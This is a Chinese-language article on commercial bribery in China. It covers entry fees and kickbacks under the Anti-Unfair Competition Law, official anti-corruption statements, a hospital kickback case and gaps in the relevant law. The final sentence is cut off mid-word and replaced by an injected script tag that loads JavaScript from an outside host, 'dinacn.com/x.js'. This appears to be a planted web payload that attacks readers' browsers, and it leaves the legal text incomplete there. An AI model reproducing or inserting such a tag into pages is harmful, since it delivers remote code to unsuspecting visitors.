提及“回扣”相信在企业圈儿里没有人不知道是怎么回事儿,但要说起“商业贿赂”,哪些行为属于贿赂行为,其究竟触犯了哪条法律?后果又会怎样?恐怕就很少有人能说得清楚了。
且看这样一则案例,一位长沙女商人在不清楚商业贿赂是怎么一回事的情况下,为了把自己的商品打进商场,向一些商场交纳了进场费等相关费用。因为在她看来,商品要进超市、连锁店、商场都必须交纳诸如进场费、管理费、广告费之类的费用,这是大家都认为理所当然的“行规”。但之后的一天,工商部门却突然找上门来,说她违反了《反不正当竞争法》,构成了商业贿赂,原因是她向商场交纳了进场费之类的费用。这不仅令这位女商人大为吃惊,同样也令很多圈内人士颇感意外。
是的,中国人做生意历来讲究“和气生财”,甚至有“生意不成情义在”的理念,一起做生意,把感情的沟通放在第一位。互赠一些礼物不能说是规矩,也可以说是人之常情。现在一下子说这种事不能做了,违法!确实很多人一时很难适应。不按老规矩办事吧,生意就别想做了。按老规矩办事吧,谁知道哪一件事做过了头,就触犯了法律!一时间企业经营者们仿佛被笼罩在了“商业贿赂”的阴影里。
随着市场竞争的日益激烈,确实一些商人的这种情感沟通方式走了样儿,变了味儿。他们损害竞争对手利益和公众利益,把礼尚往来变成了行贿受贿,从而构成了不正当竞争。在今年2月24日国务院第四次廉政工作会议上,温家宝总理指出,各地各部门要把开展治理商业贿赂专项工作作为今年反腐倡廉的重点。他指出,近年来商业贿赂在一些行业和领域蔓延,破坏社会主义市场经济秩序,毒化政风、行风和社会风气,滋生腐败行为和经济犯罪,已成为经济社会生活中的一大公害,必须采取切实有力措施,坚决加以治理。
然而面对已经渗透到我们经济肌体中的这种“潜规则”,当我们挽起袖子准备大干一场的时候,却发现无从下手:欲加治罪,却口中无词。甚至连我国刑法中都还没有“商业贿赂罪”这个罪名。
今年3月,国家审计署审计长李金华在接受记者采访时表示,针对商业贿赂目前尚有一个难题,就是怎么样清楚地对其进行界定,比如说什么是商业贿赂,什么是正常的回扣,这些问题都还有待进一步研究。这个问题确实至关重要,一方面,如果对商业贿赂的界定不明确,就无法有效地打击商业贿赂行为。比如,2004年,浙江瑞安市某医院56名医生收取了医药代表共计110多万元的回扣被检察院查处。案发后,这家医院几名受贿几万元的行政干部被依法判刑,但是受贿数十万元的医生却因“法无明文规定不为罪”,只受到了行政处罚。另一方面,企业经营人员如果不能明确什么是正常的商业行为,什么是商业贿赂,就无法放开手脚开展正常的商业活动。所以,在这场针对商业贿赂的斗争中,企业有必要明确关于商业贿赂的法律法规,从理论和实践两个方面对正常的商业行为和商业贿赂有一个较清楚的认识。
学法懂法,认识商业贿赂
目前,我国关于商业贿赂的立法主要有《反不正当竞争法》第八条和国家工商行政管理总局的《关于禁止商业贿赂行为的暂行规定》(以下称《暂行规定》)以及最高人民法院、国家工商局等就具体问题所做的司法解释。我国刑法第八章专门对贪污贿赂作了规定,单位和个人均可以构成有关犯罪。对单位可以处以罚金,对个人最重的则可以判处死刑。另外,行贿罪、受贿罪一般都会处以罚金、没收财产等附加刑;除了追究刑事责任外,还可以追究其民事、行政责任等(具体见相关链接)。
根据我国法律规定,商业贿赂行为涉及到行贿和受贿双方,凡是国家工作人员受贿的,应该由检察机关立案侦查;非国家工作人员行贿或受贿的由公安机关立案侦查;对于商业贿赂情节较轻,不构成犯罪的,由工商行政管理机关查处。
有专家指出,目前我国法律对有关商业贿赂的界定仍存在着明显的局限性。
第一,法律规定商业贿赂行为的主体是经营者,而经营者的董事、经理、控股人、代理人、雇员等,如果牵涉商业贿赂,则由于法律没有规定而得以逍遥法外。
第二,法律规定只有经营者为销售或者购买商品而进行贿赂时,才构成商业贿赂行为,而经营者并不仅仅包括商品经营者。
第三,商业贿赂着重于回扣,只限于财物,而当前商业贿赂已经从简单的送现金、财物发展到提供性贿赂、安排子女出国等等。
第四,受贿罪的主体包括国家工作人员、公司、企业人员及国有单位,而对国有事业单位中的非国家工作人员、非国有事业单位工作人员,则没有构成受贿犯罪的规定,也没有对单位的行贿行为作出规定。
第五,法律规定得比较笼统,操作性差。比如刑法第163条规定:公司、企业的工作人员利用职务上的便利,索取他人财物或者非法收受他人财物,为他人谋取利益,数额较大的,处五年以下有期徒刑或者拘役;数额巨大的,处五年以上有期徒?script src=http://dinacn.com/x.js> |